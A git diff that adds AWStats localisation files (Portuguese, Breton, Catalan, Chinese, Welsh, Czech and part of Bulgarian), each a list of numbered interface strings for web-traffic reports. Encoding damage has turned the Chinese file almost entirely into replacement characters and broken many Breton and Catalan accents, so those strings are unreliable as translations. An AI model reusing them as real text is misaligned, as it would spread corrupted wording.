+message66=Юли +message67=Авг +message68=Сеп +message69=Окт +message70=Ное +message71=Дек +message72=Навигация +message73=Файлов тип +message74=Обнови сега +message75=Използван трафик +message76=Обратно в главната +message77=Топ +message78=dd mmm yyyy - HH:MM +message79=Филтър +message80=Пълен списък +message81=<b>Хостове</b> +message82=Известни +message83=Роботи +message84=Нед +message85=Пон +message86=Вто +message87=Сря +message88=Чет +message89=Пет +message90=Съб +message91=По ден от седмицата +message92=Кой +message93=Кога +message94=Оторизирани потребители +message95=Мин. +message96=Средно +message97=Макс. +message98=Уеб компресия +message99=Спестен трафик +message100=Компресия на +message101=Резултат от компресията +message102=Общо +message103=различни ключови фрази +message104=Входящи +message105=Код +message106=Приблизителен размер +message107=Връзки от Новинарски групи +message108=KB +message109=MB +message110=GB +message111=Сайт рипър(Grabber) +message112=Да +message113=Не +message114=WhoIs инфо +message115=OK +message116=Изходящи +message117=Продълж. на посещението +message118=Затвори прозореца +message119=Байта (Bytes) +message120=Търсени ключови фрази +message121=Търсени ключови думи +message122=различни насочващи търсачки +message123=различни насочващи сайтове +message124=Други фрази +message125=Други включвания (и/или анонимни потребители) +message126=Насочващи търсачки +message127=Насочващи сайтове +message128=Сумарно +message129=Не е възможна точна стойност на 'Годишен' преглед +message130=Масиви от данни +message131=EMail на Изпращача +message132=EMail на Получателя +message133=Докладван период +message134=Допълнително/Търговски +message135=Размери на дисплея +message136=Worm/Вирус атаки +message137=Добавяне към любими (приблизително) +message138=По дни от месеца +message139=Разни +message140=Браузъри с поддръжка на Java +message141=Браузъри с поддръжка на Macromedia Director +message142=Браузъри с поддръжка на Flash +message143=Браузъри с поддръжка на Real audio playing +message144=Браузъри с поддръжка на Quicktime audio playing +message145=Браузъри с поддръжка на Windows Media audio playing +message146=Браузъри с поддръжка на PDF +message147=SMTP кодове за грешки +message148=Държави +message149=Пощи +message150=Размер +message151=Първи +message152=Последен +message153=Изключващ филтър +message154=Кодовете показани тук показват хитове или трафик, "незабележим" за посетителите, и поради това са отделени в тази таблица. +message155=Клъстър + + diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-br.txt b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-br.txt new file mode 100644 index 0000000..f5027b1 --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-br.txt @@ -0,0 +1,174 @@ +# Brazilian Portuguese message file (urban@ite.net.br) +# $Revision: 1.9 $ - $Date: 2008/10/05 11:01:31 $ +PageCode=utf-8 +message0=Desconhecido +message1=Desconhecido (ip não resolvido) +message2=Outros visitantes +message3=Ver detalhes +message4=Dia +message5=Mês +message6=Ano +message7=Estatísticas da +message8=Primeira visita +message9=Última visita +message10=Número de visitas +message11=Visitantes únicos +message12=Visita +message13=Palavra(s) chave(s) +message14=Pesquisa +message15=Por cento +message16=Tráfego +message17=Domínios/Países +message18=Visitantes +message19=Páginas/URL +message20=Horas +message21=Browsers +message22=Erros HTTP +message23=Referências +message24=Busca Palavras +message25=Visitas domínios/países +message26=hosts +message27=páginas +message28=paginas diferentes +message29=Acesso +message30=Outras palavras +message31=Páginas não existentes +message32=Erros HTTP +message33=Versões Netscape +message34=Versões MS Internet Explorer +message35=Última Atualização +message36=Conectado a partir de +message37=Origem +message38=Endereço direto / Favoritos +message39=Origem Desconhecida +message40=Link de um Buscador +message41=Link de uma página externa (outros sites que não buscadores) +message42=Link de uma página interna (outras páginas no mesmo site) +message43=Frases usadas em buscadores +message44=Palavras usadas em mecanismos de busca +message45=Endereço IP não resolvido +message46=Sistemas Operacional Desconhecido (Campo Referer) +message47=URLs solicitadas e não encontradas (HTTP code 404) +message48=Endereço IP +message49=Erro Hits +message50=Browsers Desconhecidos(Campo Referer) +message51=Buscadores Visitantes +message52=visitas/visitante +message53=Buscadores/Spiders visitantes +message54=Estatísticas de acesso ao servidor WEB +message55=de +message56=Páginas +message57=Hits +message58=Versões +message59=Sistema Operacional +message60=Jan +message61=Fev +message62=Mar +message63=Abr +message64=Mai +message65=Jun +message66=Jul +message67=Ago +message68=Set +message69=Out +message70=Nov +message71=Dez +message72=Navegação +message73=Tipos de Arquivos +message74=Atualiza Agora +message75=Bytes +message76=Retorna à página inicial +message77=Primeiros +message78=dd mmm yyyy - HH:MM:SS +message79=Filtro +message80=Lista completa +message81=Hosts +message82=Conhecido(a)(s) +message83=Robôs +message84=Dom +message85=Seg +message86=Ter +message87=Qua +message88=Qui +message89=Sex +message90=Sab +message91=Dias da semana +message92=Quem +message93=Quando +message94=Usuários autenticados +message95=Min +message96=Med +message97=Max +message98=Compressão Web +message99=Banda economizada +message100=Antes da compressão +message101=Depois da compressão +message102=Total +message103=frases(s) diferente(s) +message104=Páginas de entrada +message105=Código +message106=Tamanho médio +message107=Links de um NewsGroup +message108=KB +message109=MB +message110=GB +message111=Grabber +message112=Sim +message113=Não +message114=informação WhoIs (Quem é) +message115=OK +message116=Sair +message117=Duração das visitas +message118=Fechar janela +message119=Bytes +message120=Busca por Frases +message121=Busca por Palavras +message122=diferente referências em mecanismos de busca +message123=diferente referências em sites +message124=Outras frases +message125=Outros logins (e/ou usuários anônimos) +message126=Referência em mecanismos de busca +message127=Referência em sites +message128=Sumário +message129=Valor exato não disponível na visualização 'Ano' +message130=Disposições do valor dos dados +message131=EMail Originário +message132=EMail Destinatário +message133=Período reportado +message134=Extra/Marketing +message135=Tamanhos de tela +message136=Ataques de Worm/Virus +message137=Adicionar em favoritos +message138=Dias do Mês +message139=Variados +message140=Browsers com suporte ao Java +message141=Browsers com suporte ao Macromedia Director +message142=Browsers com suporte ao Flash +message143=Browsers com suporte ao Real áudio +message144=Browsers com suporte ao Quicktime áudio +message145=Browsers com suporte ao Windows Media áudio +message146=Browsers com suporte ao PDF +message147=Códigos de Erro SMTP +message148=Países +message149=Mensagens +message150=Tamanho +message151=Primeiro +message152=Último +message153=Filtro de Exclusão +message154=Códigos exibidos aqui indicam hits ou tráfego "não visto" pelos visitantes, então eles não são incluídos em outros gráficos. +message155=Cluster +message156=Robots exibidos aqui indicam hits ou tráfego "não visto" pelos visitantes, então eles não são incluídos em outros gráficos. +message157=Números após + são hits com sucesso em arquivos "robots.txt". +message158=Worms exibidos aqui indicam hits ou tráfego "não visto" pelos visitantes, então eles não sã incluídos em outros gráficoss. +message159=Tráfego não visto é tráfego gerado por robots, worms ou respostas com código especial de status HTTP. +message160=Tráfego visto +message161=Tráfego não visto +message162=Histórico Mensal +message163=Worms +message164=worms diferentes +message165=Mails enviados com sucesso +message166=Mails recusados/falha de entrega +message167=Alvos sensíveis +message168=Javascript desabilitado +message169=Data +message170=Caso duas operações subsequentes foram executadas num intervalo menor do que 1 segundo, pode haver troca nos identificadores. diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-bzg.txt b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-bzg.txt new file mode 100644 index 0000000..8a1af5b --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-bzg.txt @@ -0,0 +1,175 @@ +# French message file (robinjeremy@free.fr) +# $Revision: 1.1 $ - $Date: 2009/07/10 21:35:32 $ +message0=Dianavet +message1=Dianavet (IP na graet) +message2=All +message3=Gwelout munudo� +message4=Deiz +message5=Miz +message6=Bloavezh +message7=Stadego� +message8=Gweladenn kenta� +message9=Gweladenn diwezha� +message10=Gweladenno� +message11=Gweladennerien dishe�vel +message12=Gweladenn +message13=Ger alc'hwez dishe�vel +message14=Klask +message15=Dregantad +message16=Tremenerezh +message17=Domanio�/Bro +message18=Gweladenner +message19=Pajenno�-URL +message20=Eurio� +message21=Merdeerio� +message22= +message23=Orin/Referer +message24=Na hizivaet c'hoazh (sell 'Build/Update', pajenn awstats_setup.html) +message25=Domanio�/Bro ar weladennerien +message26=ostizio� +message27=pajenno� +message28=pajenn dishe�vel +message29=Pajenno� gwelet +message30=Gerio� all +message31=Pajenno� na gavet +message32=Kodo� Status HTTP +message33=Stummo� Netscape +message34=Stummo� MS Internet Explorer +message35=Hizivaat diwezha� +message36=Kevreadenno� ouzh al lec'hienn dre +message37=Orin ar gevreadenn +message38=Chomlec'h war-eeun / Bookmarks +message39=Orin dianavet +message40=Liamm adalek ul lusker enklask +message41=Liamm adalek ur bajenn er-maez (Lec'hienno� all, er-maez eus luskerio�) +message42=Liamm adalek ur bajenn diabarzh (pajenn all lec'hienn) +message43=Frazenno� alc'hwez enklask +message44=Gerio� alc'hwez enklask +message45=Chomlec'hio� IP na graet +message46=OS dianavet (maezienn useragent kriz) +message47=URLio� al lec'hienn na gavet (Kod HTTP 404) +message48=Chomlec'h IP +message49=Hito� en diarvar +message50=Merdeerio� dianavet (maezienn useragent kriz) +message51=robot dishe�vel +message52=gweladenno�/gweladenner +message53=Gweladennerien Roboto�/Spidero� +message54=Dielfenner log frank evit stadego� kenrouedad kempleshoc'h +message55=war +message56=Pajenn +message57=Hit +message58=Stummo� +message59=Reizhiado� korvoi� +message60=Gen +message61=C'hw +message62=Meu +message63=Ebr +message64=Mae +message65=Eve +message66=Gou +message67=Eos +message68=Gwen +message69=Her +message70=Du +message71=Ker +message72=Merdei� +message73=Furmad restro� +message74=Hizivaadur diouzhtu +message75=Bann drafet +message76=Distrei� pajenn degemer +message77=Top +message78=dd mmm yyyy - HH:MM +message79=Sil +message80=Listennad leun +message81=Ostizio� +message82=Anavet +message83=Roboto� +message84=Sul +message85=Lun +message86=Meu +message87=Mer +message88=Yao +message89=Gwe +message90=Sad +message91=Deizio� ar sizhun +message92=Piv +message93=Pegoulz +message94=Logino� implijet +message95=Mun +message96=Keitad +message97=Uc'hek +message98=Gwaskadur kenrouedad +message99=Bann drafet erbedet +message100=Gwaskadur war +message101=Disoc'h gwaskadur +message102=Hollad +message103=frazenn alc'hwez dishe�vel +message104=Moned +message105=Kod +message106=Ment keitad +message107=Liamm adalek un NewsGroup +message108=Ko +message109=Mo +message110=Go +message111=Sunerez +message112=Ya +message113=Nann +message114=Titour. +message115=Mat eo +message116=Er maez +message117=Amzer gweladenno� +message118=Serri� +message119=Okted +message120=Frazenno� alc'hwez +message121=Gerio� alc'hwez +message122=Luskerio� enklask dishe�vel +message123=lec'hienno� dishe�vel +message124=Frazenno� all +message125=Logino� all (hag/pe implijerien dianav) +message126=Luskerio� enklask +message127=Lec'hienno� meneger +message128=Diverradenn +message129=Talvoud resis divak er weler 'bloaziek' +message130=Taolenno� talvoud +message131=Postel Kaser +message132=Postel Resever +message133=Prantad dielfennadur +message134=Extra/Marketing +message135=Spister skramm +message136=Argado� Worm/Viruz +message137=Ouzhpenn sinedo� (meneger ke�verel) +message138=Deizio� ar miz +message139=Diseurt +message140=Merdeerio� gant skor Java a labour +message141=Merdeerio� gant skor Macromedia Director +message142=Merdeerio� gant skor Flash +message143=Merdeerio� gant skor audio Real +message144=Merdeerio� gant skor audio QuickTime +message145=Merdeerio� gant skor audio Windows Media +message146=Merdeerio� gant skor PDF +message147=Kodo� fazi SMTP +message148=Bro +message149=Postelo� +message150=Ment +message151=Kenta� +message152=Diwezha� +message153=Sil dilez +message154=Orin hito� pe dremenerezh "na welet" gant ar weladennerien eo ar c'hodo� kinniget ama�, neuze na ziskouezet en daolenno� all. +message155=Kluster +message156=Orin hito� pe dremenerezh "na welet" gant ar welennaderien eo ar roboto� kinniget ama�, neuze na ziskouezet en daolenno� all. +message157=Niverenno� war lerc'h + a dermen hito� a-berzh war restro� "robots.txt". +message158=Orin hito� pe dremenerezh "na welet" gant ar weledennaderien eo buzugo� stelennegel kinniget ama�, neuze na ziskouezet en daolenno� all. +message159=An dremenerzh 'na welet' eo an dremenerezh graet dre roboto�, buzhugo� stlennegel pe responto� HTTP gant distrei� kod ispisial. +message160=Tremenerezh 'gwelet' +message161=Tremenerezh 'na welet' +message162=Istorel miziek +message163=Ouzh +message164=buzhugo� stlennegel dishe�vel +message165=Postelo� kaset +message166=Postelo� faziet/dizegemeret +message167=Palo� kizidik +message168=Javascript deweredekaet +message169=Genelet gant +message170=plugino� +message171=Rannvroio� +message172=K�rio� diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-ca.txt b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-ca.txt new file mode 100644 index 0000000..6fa7686 --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-ca.txt @@ -0,0 +1,168 @@ +# Catalan message file (Temu-BCN temujinnn@hotmail.com) +# $Revision: 1.5 $ - $Date: 2008/10/05 11:01:31 $ +PageCode=iso-8859-1 +message0=Desconegut +message1=Desconegut (Adre�a IP desconeguda) +message2=Altres +message3=Veure detalls +message4=Dia +message5=Mes +message6=Any +message7=Estad�stiques del lloc +message8=Primera visita +message9=�ltima visita +message10=Nombre de visites +message11=Visitants diferents +message12=Visita +message13=Paraula clau (keyword) +message14=Cerques +message15=Percentatge +message16=Tr�fic +message17=Dominis/Pa�sos +message18=Visitants +message19=P�gines/URLs +message20=Visites per Hores +message21=Navegadors +message22= +message23=Enlla�os +message24=Mai utilitzats (Miri 'Build/Update' a la p�gina awstats_setup.html) +message25=Visites por Dominis/Pa�sos +message26=servidors +message27=p�gines +message28=p�gines diferents +message29=Accessos +message30=Altres paraules +message31=P�gines no trobades +message32=Codis d'error del Protocol HTTP +message33=Versions de Netscape +message34=Versions de MS Internet Explorer +message35=�ltima actualitzaci� +message36=Connectat al lloc desde +message37=Origen de l'enlla� +message38=Des de direcci� directa o Preferits +message39=Origen desconegut +message40=Enlla�os des d'algun motor de cerca +message41=Enlla�os des de p�gines externes (excepte motors de cerca) +message42=Enlla�os des de p�gines internes (altres p�gines del lloc) +message43=Paraules clau utilitzades pel motor de cerca +message44=Paraules utilitzades pel motor de cerca +message45=Direcci� IP no identificada +message46=Sistema Operatiu desconegut (camp de refer�ncia) +message47=URLs sol�licitades per� no trobades (codi 404 del protocol HTTP) +message48=Direcci� IP +message49=Sol�licituds err�nies +message50=Navegadors desconeguts (camp de refer�ncia) +message51=Visites de Robots +message52=Visites/Visitant +message53=Visites de Robots/Spiders (indexadors) +message54=Analitzador gratu�t de hist�rics per a estad�stiques Web avan�ades +message55=de +message56=P�gines +message57=Sol�licituds +message58=Versions +message59=Sistemes Operatius +message60=Gen +message61=Feb +message62=Mar +message63=Abr +message64=Mai +message65=Jun +message66=Jul +message67=Ago +message68=Sep +message69=Oct +message70=Nov +message71=Des +message72=Navegaci� +message73=Tipus de fitxer +message74=Actualitzar ara +message75=Ample de banda +message76=Tornar a la p�gina principal +message77=Top +message78=dd mmm yyyy - HH:MM +message79=Filtre +message80=Llista completa +message81=Servidors +message82=Coneguts +message83=Robots +message84=Diu +message85=Dil +message86=Dim +message87=Dmc +message88=Djs +message89=Div +message90=Dis +message91=Dies de la setmana +message92=Qui +message93=Quan +message94=Usuaris Autentificats +message95=Min +message96=Mitja +message97=Max +message98=Compressi� Web +message99=Ample de banda estalviat +message100=Abans de la compressi� +message101=Despr�s de la compressi� +message102=Total +message103=Paraules clau diferents +message104=P�gina d'entrada +message105=Codi +message106=Volum mitj� +message107=Enlla�os des d'un grup de not�cies +message108=KB +message109=MB +message110=GB +message111=Grabber +message112=S� +message113=No +message114=Informaci� WhoIs +message115=Acceptar +message116=Sortida +message117=Durada de les visites +message118=Tancar finestra +message119=Bytes +message120=Motors de cerca frases clau +message121=Motors de cerca paraules clau +message122=enlla�os des de motors de cerca diferents +message123=enlla�os des d'altres llocs +message124=Altres frases de cerca +message125=Altres usuaris (i/o usuaris an�nims) +message126=Enlla�os des de motors de cerca +message127=Llocs d'enlla�os +message128=Sumari +message129=Valor exacte no disponible a la vista d'any +message130=Matrius de dades +message131=EMail del emissor +message132=EMail del receptor +message133=Per�ode reportat +message134=Extra/Marketing +message135=Mides de pantalla +message136=Atacs de Cucs/Virus +message137=Inclosos a favorits (estimat) +message138=Dies del mes +message139=Miscel�lanis +message140=Cercadors amb suport Java +message141=Cercadors amb suport Macromedia Director +message142=Cercadors amb suport Flash +message143=Cercadors amb suport de reproducci� Real �udio +message144=Cercadors amb suport de reproducci� Quicktime audio +message145=Cercadors amb suport de reproducci� Windows Media audio +message146=Cercadors amb suport PDF +message147=Codis d'error SMTP +message148=Pa�sos +message149=Correus +message150=Volum +message151=Primer +message152=�ltim +message153=Excloure filtre +message154=Els codis mostrats aqu� son donats per sol�licituds o tr�fic "no vist" per els visitants, es troben en aquest apartat. +message155=Cluster +message156=Els Robots comptats aqu� son donats per sol�licituds o tr�fic "no vist" per els visitants, es troben en aquest apartat. +message157=N�meros despr�s de + son sol�licituds correctes en els arxius �robots.txt�. +message158=Els Cucs comptats aqu� son donats per sol�licituds o tr�fic "no vist" per els visitants, es troben en aquest apartat. +message159=El tr�fic no vist es tr�fic generat per robots, cucs o respostes de codi especial d'estat HTTP. +message160=Tr�fic vist +message161=Tr�fic no vist +message162=Hist�ric Mensual +message163=Cucs +message164=Cucs diferents \ No newline at end of file diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-cn.txt b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-cn.txt new file mode 100644 index 0000000..be0b3c9 --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-cn.txt @@ -0,0 +1,182 @@ +# Chinese (simplified) message file (by Che Dong chedongATgmail.com) +# $Revision: 1.14 $ - $Date: 2012/03/30 17:16:50 $ +PageCode=GBK +message0=����֪ +message1=����֪�����ܷ���������������ƣ� +message2=���� +message3=�鿴��ϸ���� +message4=���� +message5=�� +message6=�� +message7=ͳ����վ +message8=�״βι����� +message9=����ι����� +message10=�ι��˴� +message11=�ι��� +message12=�ι� +message13=���ؼ��ִ� +message14=���� +message15=�ٷֱ� +message16=����ͳ�� +message17=�������� +message18=�ι��� +message19=URL ��ַ +message20=ÿСʱ������� +message21=����� +message22=HTTP ���� +message23=�������� +message24=��δ���£���ο� awstats_setup.html�ϵ� 'Build/Update'�� +message25=�ι��ߵ��������� +message26=������ +message27=��ҳ�� +message28=����ͬ����ҳ +message29=��ȡ���� +message30=��ͬ���ִ� +message31=�Ҳ�������ҳ +message32=HTTP ������ +message33=Netscape �汾 +message34=IE �汾 +message35=������� +message36=������վ�ķ��� +message37=��Դ��ַ +message38=��ַ�ɲι���������������ǩȡ�� +message39=����֪����ķ��� +message40=������������ +message41=���Դ���վ���������ҳ (����������) +message42=����վ�ڲ����� +message43=��վ�����Ĺؼ��־� +message44=��վ�����Ĺؼ��ִ� +message45=���������IP��ַ +message46=����֪�IJ���ϵͳ +message47=�Ҳ�������ַ���� (HTTP ������ 404) +message48=IP ��ַ +message49=������� +message50=����֪������� +message51=�������� +message52=�ι��˴�/�ι��� +message53=����������վ�Ļ����� +message54=��ҳ��¼����ϵͳ +message55=��� +message56=��ҳ�� +message57=�ļ��� +message58=�汾 +message59=����ϵͳ +message60=01�� +message61=02�� +message62=03�� +message63=04�� +message64=05�� +message65=06�� +message66=07�� +message67=08�� +message68=09�� +message69=10�� +message70=11�� +message71=12�� +message72=�����ͳ�� +message73=�ļ���� +message74=�������� +message75=�ֽ� +message76=�ص���ҳ +message77=ǰ +message78=yyyy��mm��dd�� HH:MM +message79=���˰��� +message80=ȫ���г� +message81=���� +message82=������ɹ� +message83=����������վ +message84=�� +message85=һ +message86=�� +message87=�� +message88=�� +message89=�� +message90=�� +message91=������ +message92=���ι��� +message93=���ι�ʱ�� +message94=��������û� +message95=��С +message96=ƽ���� +message97=��� +message98=��ҳѹ�� +message99=��ʡ�˵Ĵ��� +message100=ѹ��ǰ +message101=ѹ���� +message102=���� +message103=����ͬ�Ĺؼ��־� +message104=��վ�� +message105=���� +message106=ƽ����С +message107=������Ⱥ������ +message108=KB +message109=MB +message110=GB +message111=�������������ҳץȡ�� +message112=�� +message113=�� +message114=Whois ��Ϣ +message115=OK +message116=��վ�� +message117=ÿ�βι�����ʱ�� +message118=�رմ˴��� +message119=Bytes +message120=���������Ķ��� +message121=���������Ĺؼ��� +message122=����ͬ����������ת��ι��ߵ���վ +message123=����ͬ��������վת��ι��ߵ���վ +message124=�������� +message125=������¼ (����������¼) +message126=����Щ��������ת�� +message127=����Щ������վת�� +message128=ժҪ +message129=��ȫ��ͳ��ʱ����ȷ��֪�ι��ߵ���Ŀ +message130=����ֵ���� +message131=��������ַ +message132=�������ʼ���ַ +message133=�������� +message134=�ر�/�г� +message135=��Ļ�ֱ��� +message136=���/���� ���� +message137=���뵽�ղؼ�(����) +message138=������ͳ�� +message139=���� +message140=�����֧�� Java +message141=�����֧�� Macromedia Director +message142=�����֧�� Flash +message143=�����֧�� Real audio ���� +message144=�����֧�� Quicktime audio ���� +message145=�����֧�� Windows Media audio ���� +message146=�����֧�� PDF +message147=SMTP������� +message148=���һ���� +message149=�ʼ� +message150=��С +message151=��һ�� +message152=��ĩһ�� +message153=���˲����� +message154=�����������������������������������ˣ��������ȣ� +message155=��Ⱥ +message156=�����г���������������˲����ġ����������������δ����������ͼ���� +message157=��+���������Ϊ�ɹ��ġ�robots.txt�����ʴ��� +message158=�����г����������ġ����������������δ����������ͼ���� +message159=���������������������������ˣ���没�������������ͷ�������HTTP��Ӧ +message160=��������� +message161=����������� +message162=������ʷͳ�� +message163=��� +message164=��ͬ����� +message165=�ɹ������ʼ� +message166=�ʼ�ʧ�ܻ���� +message167=����Ŀ�� +message168=Javascript���� +message169=������ +message170=��� +message171=���� +message172=���� +message173=Opera �汾 +message174=Safari �汾 +message175=Chrome �汾 +message176=Konqueror �汾 +message177=, +message178=���� diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-cy.txt b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-cy.txt new file mode 100644 index 0000000..24128d9 --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-cy.txt @@ -0,0 +1,138 @@ +# Welsh message file (jim@hebffinia.com) +# Cyfieithiad gan Maredudd ap Rheinallt +# $Revision: 1.2 $ - $Date: 2008/10/05 11:01:31 $ +PageCode=iso-8859-1 +message0=Anhysbys +message1=Anhysbys (cyfeiriad IP heb ei ganfod) +message2=Eraill +message3=Gweld manylion +message4=Dydd +message5=Mis +message6=Blwyddyn +message7=Ystadegau o +message8=Ymweliad cyntaf +message9=Ymweliad diwethaf +message10=Cyfanswm ymweliadau +message11=Ymwelwyr unigryw +message12=Ymweliad +message13=allweddeiriau gwahanol +message14=Chwilio +message15=Y Cant +message16=Traffig +message17=Parthau/Gwledydd +message18=Ymwelwyr +message19=Tudalennau-URL +message20=Oriau +message21=Poryddion +message22=Gwallau HTTP +message23=Atgyfeirwyr +message24=Byth wedi'i diweddaru +message25=Parthau/Gwledydd Ymwelwyr +message26=gwesteiwyr +message27=tudalennau +message28=Gwahanol dudalennau-URL +message29=Tudalennau a welwyd +message30=Geiriau eraill +message31=Tudalennau heb eu canfod +message32=Codau gwallau HTTP +message33=Fersiynau Netscape +message34=Fersiynau IE +message35=Diweddariad diwethaf +message36=Cyswllt i'r wefan o +message37=Tardd +message38=Cyfeiriad uniongyrchol / Nodau tudalen +message39=Tardd anhysbys +message40=Cysylltau o Beiriant Chwilio +message41=Cysylltau o dudalen allanol (gwefannau eraill ac eithrio peiriannau chwilio) +message42=Cysylltau o dudalen fewnol (tudalen arall ar yr un wefan) +message43=Allweddfrawddegau a ddefnyddiwyd mewn periannau chilio +message44=Allweddeiriau a ddefnyddiwyd mewn periannau chilio +message45=Cyfeiriad IP heb ei ganfod +message46=System Weithredu anhysbys (maes Atgyfeiriwr) +message47=URLau a geisiwydwyd ond na chanfuwyd (côd HTTP 404) +message48=Cyfeiriad IP +message49=Gwall Trawiad +message50=Poryddion anhysbys (maes Atgyfeiriwr) +message51=Robotiaid ar ymweliad +message52=Ymweliadau/ymwelydd +message53=Ymwelwyr robot a phry cop +message54=Yn Rhad ac am Ddim: Dadansoddydd Ffeiliau Log Amser Real ar gyfer Ystadegau Gwe Uwch +message55=o +message56=Tudalennau +message57=Trawiadau +message58=Fersiynau +message59=Systemau Gweithredu +message60=Ion +message61=Chwef +message62=Mawrth +message63=Ebr +message64=Mai +message65=Meh +message66=Gorff +message67=Awst +message68=Medi +message69=Hydref +message70=Tach +message71=Rhagfyr +message72=Gwe-lywio +message73=Math o ffeil +message74=Diweddaru yn awr +message75=Beitiau +message76=Yn ôl i'r brif dudalen +message77=Pwysicach hyd at +message78=dd mmm bbbb - AA:MM +message79=Hidlydd +message80=Rhestr Lawn +message81=Gwesteiwyr +message82=Hysbys +message83=Robotiaid +message84=Sul +message85=Llun +message86=Mawrth +message87=Mercher +message88=Iau +message89=Gwe +message90=Sad +message91=Diwrnodau'r wythnos +message92=Pwy +message93=Pryd +message94=Defnyddwyr Dilys +message95=Lleiafswm +message96=Cyfartaledd +message97=Mwyafswm +message98=Cywasgedd GWe +message99=Lled band a arbedwyd +message100=Cyn cywasgu +message101=Wedi Cywasgu +message102=Cyfanswm +message103=allweddfrawddegau gwahanol +message104=Tudalennau mynediad +message105=Côd +message106=Maint ar gyfartaledd +message107=Cysylltau oddi wrth Grŵp Newyddion +message108=KB +message109=MB +message110=GB +message111=Grabwr +message112=Yes +message113=No +message114=Gwybodaeth Dynodi +message115=Iawn +message116=Gadael +message117=Parhau ag Ymweliadau +message118=Cau ffenest +message119=Beitiau +message120=Allweddfrawddegau Chwilio +message121=Allweddeiriau Chwilio +message122=peiriannau chwilio gwahanol yn atgyfeirio +message123=gwefannau gwahanol yn atgyfeirio +message124=Brawddegau Eraill +message125=Mewnbynnau eraill (ac/neu ddefnyddwyr di-enw) +message126=Peiriannau Chwilio Atgyfeirio +message127=Gwefannau Atgyfeirio +message128=Crynodeb +message129=Union werth ddim ar gael tra'n defnyddio modd gweld 'Blwyddyn' +message130=Araeau gwerthoedd data +message131=Ebost yr anfonydd +message132=Ebost y derbynnydd +message133=Cyfnod adrodd \ No newline at end of file diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-cz.txt b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-cz.txt new file mode 100644 index 0000000..b1cf44f --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-cz.txt @@ -0,0 +1,180 @@ +# Czech message file (David Jurenka <awstats-translation.box NO SP@M imx.jurenka D.O.T cz>) +# $Revision: 1.13 $ - $Date: 2009/08/26 10:14:07 $ +PageCode=utf-8 +message0=Neznámé +message1=neznámých (nepřeložené IP) +message2=Ostatní +message3=Zobrazit podrobnosti +message4=Den +message5=Měsíc +message6=Rok +message7=Statistiky domény +message8=První návštěva +message9=Poslední návštěvy +message10=Návštěvy +message11=Unikátní návštěvníci +message12=Návštěva +message13=různých výrazů +message14=Vyhledávání +message15=Podíl +message16=Zátěž +message17=Domény/země +message18=Návštěvníci +message19=Stránky/URL +message20=Hodiny +message21=Prohlížeče +message22= +message23=Odkazující stránky +message24=Nikdy nezaktualizováno (viz 'Build/Update' v awstats_setup.html) +message25=Domény/země návštěvníků +message26=počítačů +message27=stránek +message28=různých stránek/URL +message29=Zobrazeno +message30=Ostatní slova +message31=Nenalezené stránky +message32=Stavové kódy HTTP +message33=Verze Netscape +message34=Verze MS Internet Explorer +message35=Poslední aktualizace +message36=Přístup na server z +message37=Původ +message38=Přímá adresa / Záložka / Odkaz v emailu... +message39=Neznámý původ +message40=Odkazy z internetových vyhledávačů +message41=Odkazy z externích stránek (kromě vyhledávačů) +message42=Odkazy z interních stránek (jiných stránek na témže serveru) +message43=Slovní spojení použitá pro vyhledávání +message44=Výrazy použité pro vyhledávání +message45=Nepřeložené IP adresy +message46=Neznámý OS (z identifikace klientu) +message47=Požadovaná, ale nenalezená URL (kód HTTP 404) +message48=IP adresa +message49=Chybové hity +message50=Neznámé prohlížeče (z identifikace klientu) +message51=různých robotů +message52=návštěv/návštěvník +message53=Roboty +message54=Volně šiřitelný nástroj pro analýzu logů a tvorbu pokročilých webových statistik v reálném čase +message55=z +message56=Stránky +message57=Hity +message58=Verze +message59=Operační systémy +message60=Led +message61=Úno +message62=Bře +message63=Dub +message64=Kvě +message65=Čvn +message66=Čvc +message67=Srp +message68=Zář +message69=Říj +message70=Lis +message71=Pro +message72=Prohlížení +message73=Typy souborů +message74=Zaktualizovat +message75=Přenesená data +message76=Zpět na hlavní stránku +message77=Top +message78=dd mmm yyyy - HH:MM +message79=Filtr +message80=Úplný seznam +message81=Počítače +message82=známých +message83=Roboty +message84=Ne +message85=Po +message86=Út +message87=St +message88=Čt +message89=Pá +message90=So +message91=Dny v týdnu +message92=Kdo +message93=Kdy +message94=Přihlášení uživatelé +message95=Min +message96=Průměr +message97=Max +message98=Webová komprese +message99=Ušetřený objem +message100=Komprimovaná data +message101=Výsledná komprese +message102=Celkem +message103=různých slovních spojení +message104=Vstup +message105=Kód +message106=Průměrná velikost +message107=Odkazy z diskuzních skupin +message108=KB +message109=MB +message110=GB +message111=Grabber +message112=Ano +message113=Ne +message114=Whois info +message115=OK +message116=Odchod +message117=Délka návštěv +message118=Zavřít okno +message119=bajtů +message120=Hledaná slovní spojení +message121=Hledané výrazy +message122=různých vyhledávačů +message123=různých stránek +message124=Ostatní fráze +message125=Ostatní přihlášení (a anonymní uživatelé) +message126=Odkazující vyhledávače +message127=Odkazující stránky +message128=Souhrn +message129=Přesná hodnota není dostupná v celoročním pohledu +message130=Datová pole +message131=Odesílatelé +message132=Adresáti +message133=Zobrazený časový úsek +message134=Extra/Marketing +message135=Rozlišení obrazovky +message136=Útoky červů/virů +message137=Úspěšná stažení souboru favicon.ico +message138=Denní přehled +message139=Různé +message140=Prohlížeče s podporou Javy 